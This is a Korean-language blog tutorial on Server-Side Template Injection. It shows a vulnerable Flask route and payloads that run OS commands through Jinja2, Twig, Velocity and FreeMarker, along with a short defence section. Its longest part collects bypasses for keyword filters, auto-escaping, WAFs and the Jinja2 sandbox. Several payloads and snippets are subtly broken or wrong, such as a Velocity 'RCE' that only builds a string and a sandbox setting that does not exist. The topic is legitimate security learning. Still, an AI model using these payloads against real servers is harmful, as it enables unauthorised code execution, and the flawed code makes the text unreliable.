SSTI(Server-Side Template Injection)

강혜인·2025년 5월 29일

WEB_Hack

목록 보기
12/18

SSTI는 웹 애플리케이션이 서버 측 템플릿 엔진을 사용할 때, 사용자의 입력이 제대로 필터링되지 않고 그대로 템플릿 엔진에 전달되는 경우 발생하는 보안 취약점이다.

공격자가 특정한 템플릿 표현식을 삽입하면 서버가 이를 실행해 임의의 코드 실행(RCE, Remote Code Execution)까지 이어질 수 있다.

SSTI의 원리


웹 애플리케이션에서는 동적 페이지를 생성하기 위해 템플릿 엔진을 사용한다. 대표적인 템플릿 엔진은 다음과 같다.

사용 언어템플릿 엔진
PythonJinja2, Mako
PHPTwig, Smarty
JavaVelocity, FreeMarker
Node.jsJade/Pug, EJS

SSTI는 이러한 템플릿 엔진이 사용자 입력을 처리할 때 발생한다.

예를 들어, Python의 Jinja2 템플릿 엔진을 사용하는 웹 애플리케이션이 아래와 같은 방식으로 동작한다고 가정했을 때,

from flask import Flask, request, render_template_string

app = Flask(__name__)

@app.route('/greet')
def greet():
	name = request.args.get("name")
	template = f"Hello, {name}!"
	return render_template_string(template)
	
if __name__ == "__main__":
	app.run(debug=True)

여기서 name 매개변수를 그대로 템플릿 문자열에 삽입하는데, 공격자가 {{7*7}}을 입력하면 Jinja2엔진이 이를 해석해 Hello, 49! 라는 결과를 반환한다.

이러한 방식으로 공격자는 점점 더 복잡한 페이로드를 주입해 코드 실행을 시도할 수 있다.

SSTI 취약점이 발생하는 곳


SSTI는 다음과 같은 경우에 발생할 가능성이 높다.

  • 사용자 입력이 직접 템플릿 엔진에 전달될 때
  • 템플릿 렌더링 과정에서 입력값이 검증 없이 사용될 때
  • 로그, 오류 메시지, 이메일 템플릿 등에서 템플릿 엔진이 동작할 때

SSTI 취약점이 발생할 가능성이 높은 웹 애플리케이션의 위치

  • 회원가입/로그인 페이지(웰컴 메시지 출력)
  • 이메일 또는 PDF 생성 기능
  • 댓글, 리뷰, 게시판 입력 처리
  • 로그 파일 처리(특정 템플릿 형식 사용)
  • 오류 페이지 및 404 페이지

SSTI 취약점 확인 방법(Exploit 과정)


SSTI 취약점이 존재하는지 확인하는 과정은 다음과 같다.

  1. 간단한 연산 테스트

    템플릿 엔진이 입력을 해석하는지 확인하기 위해 간단한 수식을 입력한다.

    {{7*7}}
    ${7*7}
    <%= 7*7 %>
    • 정상적인 경우 : {{7*7}}이 그대로 출력됨
    • 취약한 경우 : 49로 출력됨 (SSTI 가능성 존재)
  2. 템플릿 엔진 확인

    어떤 템플릿 엔진이 사용되고 있는지 확인하기 위해 각 엔진에 맞는 페이로드를 입력한다.

    • Jinja2(Python Flask)
      {{7*7}} # 49 출력 확인
      {{config.__class__.__init__.__globals__['os'].popen('id').read()}}
    • Twig(PHP)
      {{7*7}}
      {{system('id')}}
    • Velocity(Java)
      #set($x = 7*7) $x
    • FreeMarker(Java)
      ${7*7}

    각각의 페이로드를 입력하여 어떤 값이 출력되는지 확인하면 템플릿 엔진을 특정할 수 있다.

  3. RCE(Remote Code Execution) 시도

    취약한 템플릿 엔진이 확인되면, 서버에서 원격 코드 실행을 시도할 수 있다.

    • Jinja2 RCE (Python)
      {{ self.__TemplateReference__context.cycler.__init__.__globals__.os.popen('id').read() }}
    • Twig RCE (PHP)
      {{ system('id') }}
    • Velocity RCE (Java)
      #set($cmd = "id")
      #set($output = "")
      #foreach($i in $cmd.split(""))
      	#set($output = "$output$i")
      #end
      $output
    • FreeMarker (Java)
      ${''.getClass().forName('java.lang.Runtime').getRuntime().exec('id')}

SSTI 방어 방법


  • 사용자 입력을 직접 템플릿에 넣지 않는다.
    # 위험한 코드
    template = f"Hello, {user_input}!"
    return render_template_string(template)
    
    # 안전한 코드
    return render_template("index.html", name=user_input)
    템플릿 렌더링에 render_template_string() 대신 render_template()을 사용해야 한다.
  • 템플릿 엔진에서 사용자 입력 필터링
    from jinja2 import escape
    
    safe_input = escape(user_input)
    입력값을 반드시 이스케이프 처리하여 템플릿 코드로 해석되지 않도록 해야 한다.
  • WAF(Web Application Firewall) 적용 ModSecurity와 같은 WAF를 사용해 SSTI 관련 패턴을 차단한다.
  • 특정 템플릿 기능 제한 템플릿 엔진의 기능을 제한하여 exec() 같은 위험한 함수의 사용을 차단한다.
    from jinja2 import Environment, BaseLoader
    
    env = Environment(loader=Baseloader(), autoescape=True)

SSTI 필터링 우회 방법


웹 애플리케이션에서 SSTI 공격을 방어하기 위해 이스케이프 처리를 적용하거나, 특정 키워드를 필터링하는 경우가 많다.

그러나 보안 우회 기법을 활용하면 필터링을 무력화하고 SSTI 공격을 성공적으로 수행할 수 있다.

일반적인 SSTI 필터링 기법과 우회 방법

많은 웹 애플리케이션에서 SSTI를 방어하기 위해 다음과 같은 방법을 사용한다.

  • 특정 문자열 차단({{, {%, system, exec 등)
  • 이스케이프 처리(html, escape() 사용)
  • 정규식 필터링(re.sub(r’[{}]’, ‘’, input))
  1. 중괄호({{ }}) 필터링 우회

    import re
    user_input = re.sub(r'[\{\}]', '', user_input) # 중괄호 {, } 제거
    template = f"Hello, {user_input}!"
    return render_template_string(template)

    위 코드에서는 { 와 }를 제거하여 {{7*7}}을 사용할 수 없게 만든다.

    우회 방법:

    하지만, Jinja2와 같은 템플릿 엔진은 다른 방식으로도 표현식을 실행할 수 있다.

    %7*7%
    {{ self.__class__.__mro__[2].__subclasses__() }}
    {{ [].__class__.__mro__[2].__subclasses__() }}
    {{ ''.__class__.__mro__[2].__subclasses__() }}
  2. 특정 키워드 차단 우회(system, exec, popen)

    import re
    user_input = re.sub(r'(system|exec|popen)', '', user_input) # 특정 함수 필터링
    template = f"Hello, {user_input}!"
    return render_template_string(template)

    우회 방법:

    필터링된 키워드를 직접 입력하지 않고, 문자열 조작을 통해 우회할 수 있다.

    {{ getattr(config.__class__.__init__.__globals__, 'os').popen('id').read() }}
    {{ config.__class__.__init__.__globals__['os'].__dict__['popen']('id').read() }}
    
  3. URL 인코딩

    %7B%7B7*7%7D%7D  # {{7*7}} 을 url 인코딩
  4. Base64 인코딩

    {{ ''.__class__.__mro[2].__subclasses__()[40].__init__.__globals__['os'].popen('id').read().encode('base64') }}
  5. Unicode 변환을 활용한 우회

    \u007b\u007b7*7\u007d\u007d  # {{7*7}}을 Unicode로 표현
  6. 문자열 조합을 이용한 우회

    {{ self.__class__.__mro__[2].__subclasses__() }}
    {{ request.args.input.decode('utf-8') }}
  7. join()을 활용한 필터링 우회

    {{ ''.join(['s', 'y', 's', 't', 'e', 'm'])('id') }}

HTML 이스케이프 우회 (Auto-Escape Bypass)


from flask import Flask, render_template

app = Flask(__name__)
app.jinja_env.autoescape = True

@app.route('/test')
def test():
	user_input = request.args.get("input", "")
	return render_template("index.html", name=user_input)

→ 자동 이스케이프가 적용되면 SSTI가 실행되지 않고 단순한 문자열로 출력됨

  1. safe 필터 사용(템플릿 내에서 우회)

    템플릿에서 safe 필터가 적용되면 HTML 이스케이프가 해제됨

    <h1>Hello, {{name | safe }}</h1>
  2. tojson 필터를 활용한 우회

    일부 버전의 Jinja2에서는 tojson 필터를 적용하면 이스케이프가 해제될 수 있음

    {{ name | tojson }}
  3. .format() 을 이용한 이스케이프 우회

    {{ "{}".format(7*7) }}

WAF(Web Application Firewall) 우회


WAF는 SSTI 공격을 차단하기 위해 특정한 패턴을 감지해 요청을 차단한다.

{{, }}, {%, %}, eval, exec, popen, system, subprocess
  1. 공백 삽입 기법

    WAF는 일반적으로 특정 문자열 패턴을 감지하지만, 공백을 삽입하면 탐지를 우회할 수 있다.

    {{7 * 7}}
  2. 중간 문자열 결합

    {{ "syst" + "em"('id') }}
  3. 치환 문자 활용

    {{ getattr(os, "popen")("id").read() }}

Jinja2 Sandbox 우회


일부 Flask 애플리케이션에서는 sandboxed_environment=True 설정을 사용해 보안을 강화한다.

from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()

이 설정이 활성화되면 import, exec, eval과 같은 위험한 기능이 차단된다.

  1. self 객체 사용

    {{ self.__class__.__mro__[2].__subclasses__() }}
  2. .__globals__ 속성 활용

    {{ config.__class__.__init__.__globals__['os'].popen('id').read() }}
  3. .__subclasses__() 을 활용한 RCE

    {{ ''.__class__.__mro__[2].__subclasses__()[40].__init__.__globals__['os'].popen('id').read() }}

Python 특정 버전 제한 우회


일부 시스템은 특정 Python 버전에서만 동작하도록 제한할 수 있다.

예를 들어, Python 3.8 이상에서는 __globals__ 속성을 차단할 수 있다.

  1. _module 속성 활용

    {{ ''.__class__.__mro[2].__subclasses__()[40]._module.__builtins__.__import__('os').popen('id').read() }}
  2. os를 직접 임포트하지 않고 실행

    {{ ().__class__.__bases__[0].__subclasses__()[59].__init__.__globals__['os'].system('id') }}

0개의 댓글